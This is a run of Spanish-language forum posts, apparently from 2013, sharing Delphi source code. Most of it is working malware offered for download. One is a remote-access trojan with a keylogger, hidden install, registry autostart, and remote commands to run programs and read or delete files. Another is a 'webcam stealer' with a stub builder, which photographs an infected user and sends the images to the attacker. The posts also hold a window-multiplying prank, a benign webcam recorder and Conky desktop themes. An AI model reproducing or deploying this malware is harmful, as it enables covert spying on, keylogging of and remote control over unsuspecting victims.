            '[username]' + username + '[username]' + '[os]' + os + '[os]';
        end;
      except
        //
      end;

      Result := re;

    end;

    //

    procedure TForm1.ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
      argumento: string;
    begin
      code := Socket.ReceiveText;

      argumento := regex(code, '[argumento]', '[argumento]');

      if (Pos('![opencd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('open'));
      end;

      if (Pos('![closecd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('close'));
      end;

      if (Pos('![listardirectorio]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listardirectorio(argumento));
      end;

      if (Pos('![borraresto]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(borraresto(argumento));
      end;

      if (Pos('![leerarchivo]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(LeerArchivo(argumento));
      end;

      if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
      end;

      if (Pos('![sendkeys]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(SendKeys(argumento));
      end;

      if (Pos('![escribirword]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(escribir_word(argumento));
      end;

      if (Pos('![mensaje]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(mensaje(argumento));
      end;

      if (Pos('![hablar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(hablar(argumento));
      end;

      if (Pos('![matarproceso]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(matarproceso(argumento));
      end;

      if (Pos('![ejecutar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(ejecutar(argumento));
      end;

      if (Pos('![crazymouse]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(crazy_mouse(argumento));
      end;

      if (Pos('![ocultartaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('hide'));
      end;

      if (Pos('![volvertaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('na'));
      end;

      if (Pos('![ocultariconos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
      end;

      if (Pos('![volvericonos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('na'));
      end;

      if (Pos('![listarprocesos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listarprocesos());
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
      registro: HKEY;
      ip: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

    begin

      Application.ShowMainForm := FALSE;

      ob := INVALID_HANDLE_VALUE;
      code := '';

      ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (ob <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(ob, -9999, nil, FILE_END);
        ReadFile(ob, code, 9999, nose, nil);
        CloseHandle(ob);
      end;

      todo := regex(code, '[63686175]', '[63686175]');
      todo := dhencode(todo, 'decode');

      ip := regex(todo, '[ip]', '[ip]');

      try
        begin
          dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
          carpeta := 'ratata';

          dir := dir_hide + carpeta + '/';

          if not(DirectoryExists(dir)) then
          begin
            CreateDir(dir);
          end;

          ChDir(dir);

          nombrereal := ExtractFileName(paramstr(0));
          rutareal := dir;
          yalisto := dir + nombrereal;

          acatoy := dir + 'logs.html';

          MoveFile(PChar(paramstr(0)), PChar(yalisto));

          SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);

          SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);

          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
          RegCloseKey(registro);

          savefile('logs.html',
            '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

          ClientSocket1.Address := ip;
          ClientSocket1.Port := 6664;
          ClientSocket1.Open;

        end;
      except
        //
      end;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      // Others

      for i := Low(n_raros) to High(n_raros) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_raros[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_raros[i]);
        end;
      end;

      // Numbers

      for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_derecha[i]);
        end;
      end;

      for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
      begin
        Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
        If Result = -32767 then
        begin
          savefile('logs.html', t_numeros_izquierda[i]);
        end;
      end;

      // SHIFT

      if (GetAsyncKeyState(VK_SHIFT) <> 0) then
      begin

        for i := Low(n_shift) to High(n_shift) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_shift[i]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_shift[i]);
          end;
        end;

        for i := 65 to 90 do
        begin
          Result := GetAsyncKeyState(i);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(i + 0));
          End;
        end;

      end;

      // MAYUS

      if (GetKeyState(20) = 0) then
      begin
        mayus := 32;
      end
      else
      begin
        mayus := 0;
      end;

      for i := 65 to 90 do
      begin
        Result := GetAsyncKeyState(i);
        If Result = -32767 then
        Begin
          savefile('logs.html', Chr(i + mayus));
        End;
      end;

    end;

    procedure TForm1.Timer2Timer(Sender: TObject);
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;

    begin

      GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));

      nombre1 := ventana1;

      if not(nombre1 = Nombre2) then
      begin
        Nombre2 := nombre1;
        savefile('logs.html',
          '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
      end;

    end;

    //

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.
#138
Siempre quize hacer la tipica broma donde te mandan un programa donde aparece la foto de una mina en tetas y cuando queres cerrar la ventana en vez de cerrarse se multiplica.
Si la victima no quiere cerrar la ventana puse un timer cada 1 segundo para que se multiplique de todas formas.

Hice algo asi en delphi , pondria una captura del programa en accion pero me borrarian la imagen xDD.

El codigo.

Código (delphi) [Seleccionar]

// Joke : Big Tits
// (C) Doddy Hackman 2013

unit big;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, acPNG, ExtCtrls, Math;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure nomepiensoir();
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.nomepiensoir;

// Based on : http://delphi.about.com/od/adptips2006/qt/formclone.htm
// Thanks to Zarko Gajic

var

  parte1: TMemoryStream;
  acatoy: TForm;

const
  dimensiones: array [1 .. 5] of string = ('100', '200', '300', '400', '500');

begin

  parte1 := TMemoryStream.Create;
  parte1.WriteComponent(Form1);

  parte1.Position := 0;

  acatoy := TFormClass(Form1.ClassType).CreateNew(Application);
  parte1.ReadComponent(acatoy);

  acatoy.Left := Form1.Left + StrToInt(dimensiones[RandomRange(1, 5)]);
  acatoy.Top := Form1.Top + StrToInt(dimensiones[RandomRange(1, 5)]);

  acatoy.Show;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  nomepiensoir();
  Abort;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  nomepiensoir();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#139
Programación General / [Delphi] The WatchMan 0.4
2 Diciembre 2013, 03:39 AM
Un simple programa que graba todos los registros de la webcam en un video con formato avi.

Tenia pensado usarlo como camara de vigilancia en el frente de mi casa pero todavia le faltan varios (mas bien muchos) retoques.

Una imagen :



El codigo.

Código (delphi) [Seleccionar]

// The WatchMan 0.4
// (C) Doddy Hackman 2013
// Credits : Based on
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-i.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-ii.html
// http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
// Thanks to Javier Par

unit the;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  sGroupBox, sButton, sRadioButton, sEdit, sListView, ExtCtrls, ShellApi, acPNG,
  sLabel;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sStatusBar1: TsStatusBar;
    sTabSheet1: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sTabSheet4: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sGroupBox4: TsGroupBox;
    sRadioButton3: TsRadioButton;
    sEdit1: TsEdit;
    sRadioButton4: TsRadioButton;
    sGroupBox6: TsGroupBox;
    sListView1: TsListView;
    Guardar: TSaveDialog;
    Image1: TImage;
    sGroupBox3: TsGroupBox;
    Image2: TImage;
    sLabel1: TsLabel;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

    procedure sListView1DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  toyaca: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  uno = control + 52;
  dos = control + 50;

  tres = control + 20;
  cuatro = control + 62;
  chau = control + 11;

implementation

uses tiny, full;

FUNCTION capCreateCaptureWindowA(lpszWindowName: PCHAR; dwStyle: longint;
  x: integer; y: integer; nWidth: integer; nHeight: integer; ParentWin: hwnd;
  nId: integer): hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
  procedure TForm1.FormCreate(Sender: TObject);
  var
    dir: string;
    busqueda: TSearchRec;
  begin

    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName)
      + 'Data';
    sSkinManager1.SkinName := 'matrix';
    sSkinManager1.Active := True;

    dir := ExtractFilePath(Application.ExeName) + '/captures';

    if not(DirectoryExists(dir)) then
    begin
      CreateDir(dir);
    end;

    ChDir(dir);

    FindFirst(dir + '\*.avi', faAnyFile + faReadOnly, busqueda);

    with sListView1.Items.Add do
    begin
      Caption := ExtractFileName(busqueda.Name);
      SubItems.Add(dir + '/' + busqueda.Name);
    end;

    while FindNext(busqueda) = 0 do
    begin

      with sListView1.Items.Add do
      begin
        Caption := ExtractFileName(busqueda.Name);
        SubItems.Add(dir + '/' + busqueda.Name);
      end;

    end;
    FindClose(busqueda);

  end;

  procedure TForm1.sButton1Click(Sender: TObject);
  begin

    sStatusBar1.Panels[0].Text := '[+] Recording';
    Form1.sStatusBar1.Update;

    Form2.Show;

    toyaca := capCreateCaptureWindowA('Unknown_888', WS_CHILD OR WS_VISIBLE,
      Form2.Image1.Left, Form2.Image1.Top, Form2.Image1.Width,
      Form2.Image1.Height, Form2.Handle, 0);

    SendMessage(toyaca, conec, 0, 0);
    SendMessage(toyaca, uno, 40, 0);
    SendMessage(toyaca, dos, 1, 0);

    SendMessage(toyaca, tres, 0, longint(PCHAR('tt')));

    SendMessage(toyaca, cuatro, 0, 0);

  end;

  procedure TForm1.sButton2Click(Sender: TObject);
  var
    fecha: TDateTime;
    fechafinal: string;
    nombrefecha: string;

  BEGIN

    sStatusBar1.Panels[0].Text := '[+] Stopped';
    Form1.sStatusBar1.Update;

    SendMessage(toyaca, chau, 0, 0);

    Form2.Hide;

    if (sRadioButton3.Checked) then
    begin
      RenameFile('t', sEdit1.Text);
    end;

    if (sRadioButton4.Checked) then
    begin
      fecha := now();
      fechafinal := DateTimeToStr(fecha);
      nombrefecha := fechafinal + '.avi';

      nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ' ', '', [rfReplaceAll,
        rfIgnoreCase]);
      nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
        rfIgnoreCase]);

      RenameFile('t', nombrefecha);

    end;

  end;

  procedure TForm1.sListView1DblClick(Sender: TObject);
  begin

    ShellExecute(0, nil, PCHAR(sListView1.Selected.SubItems[0]), nil, nil,
      SW_SHOWNORMAL);

  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#140
Un simple programa para capturar fotos cada 1 segundo de la webcam en la maquina de la persona que infecten.

Una imagen :



Código (delphi) [Seleccionar]

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit webcam;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, ComCtrls, sStatusBar, StdCtrls, sLabel, sRadioButton,
  sButton, sEdit, sGroupBox, sPageControl, acPNG, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image3: TImage;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sGroupBox2: TsGroupBox;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    sTabSheet2: TsTabSheet;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sTabSheet4: TsTabSheet;
    Image2: TImage;
    sLabel1: TsLabel;
    sStatusBar1: TsStatusBar;
    Timer1: TTimer;
    Timer2: TTimer;
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }

    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses full;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);

begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código (delphi) [Seleccionar]

// DH WebCam Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, ScktComp, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure capturar_webcam(filename: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;
  webcam: hwnd;

const

  control = WM_USER;
  conec = control + 10;
  conec2 = control + 52;
  conec3 = control + 50;
  conec4 = control + 25;
  chau = control + 11;

implementation

FUNCTION capCreateCaptureWindowA(uno: PCHAR; dos: longint; tres: integer;
  cuatro: integer; cinco: integer; seis: integer; siete: hwnd; ocho: integer)
  : hwnd;
STDCALL EXTERNAL 'AVICAP32.DLL';
{$R *.dfm}
// Functions

  procedure TForm1.capturar_webcam(filename: string);

  // Webcam capture based on : http://delphimagic.blogspot.com.ar/2008/12/webcam-con-delphi-iii.html
  // Thanks to Javier Par

  var
    imagen1: TBitmap;
    imagen2: TJpegImage;

  begin

    try
      begin

        DeleteFile('1.bmp');
        DeleteFile('1');
        DeleteFile(filename);

        webcam := capCreateCaptureWindowA
          ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
          Image1.Width, Image1.Height, Form1.Handle, 0);

        if not(webcam = 0) then
        begin

          SendMessage(webcam, conec, 0, 0);
          SendMessage(webcam, conec2, 40, 0);
          SendMessage(webcam, conec3, 1, 0);
          SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
          SendMessage(webcam, chau, 0, 0);
          webcam := 0;

          RenameFile('1', '1.bmp');

          imagen1 := TBitmap.Create;
          imagen1.LoadFromFile('1.bmp');

          imagen2 := TJpegImage.Create;
          imagen2.Assign(imagen1);
          imagen2.CompressionQuality := 100;
          imagen2.SaveToFile(filename);

          DeleteFile('1');
          DeleteFile('1.bmp');

        end;

        imagen1.Free;
        imagen2.Free;

      end;
    except
      //
    end;

  end;

  function regex(text: String; deaca: String; hastaaca: String): String;
  begin
    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    SetLength(text, AnsiPos(hastaaca, text) - 1);
    Result := text;
  end;

  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;

  begin

    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;

    if (opcion = 'encode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;

    if (opcion = 'decode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);

  var
    ob: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    todo: string;

  begin

    Application.ShowMainForm := False;

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    target := regex(todo, '[ip]', '[ip]');

    try
      begin
        ClientSocket1.Address := target;
        ClientSocket1.Open;
      end;
    except
      //
    end;

  end;

  procedure TForm1.Timer1Timer(Sender: TObject);
  var
    archivo: string;
    envio: TFileStream;
    dir: string;

  begin

    try
      begin

        if ClientSocket1.Active = True then

        begin
          dir := GetEnvironmentVariable('USERPROFILE') + '\';

          chdir(dir);

          if (FileExists('screen.jpg')) then
          begin
            DeleteFile('screen.jpg');
          end;

          capturar_webcam('screen.jpg');

          archivo := dir + 'screen.jpg';

          try
            begin
              ClientSocket1.Socket.SendText
                ('0x3archivo' + ExtractFileName(archivo));
              envio := TFileStream.Create(archivo, fmopenread);

              sleep(500);

              ClientSocket1.Socket.SendText
                ('0x3acantid' + IntToStr(envio.Size));

              envio.Free;

              ClientSocket2.Address := target;
              ClientSocket2.Open;

              ClientSocket2.Socket.SendStream
                (TFileStream.Create(archivo, fmopenread));
            end;
          except
            //
          end;
        end;
      end;
    except
      //
    end;

  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#141
GNU/Linux / Tres themes para Conky Colors
26 Noviembre 2013, 23:46 PM
Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.




# Matrix Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
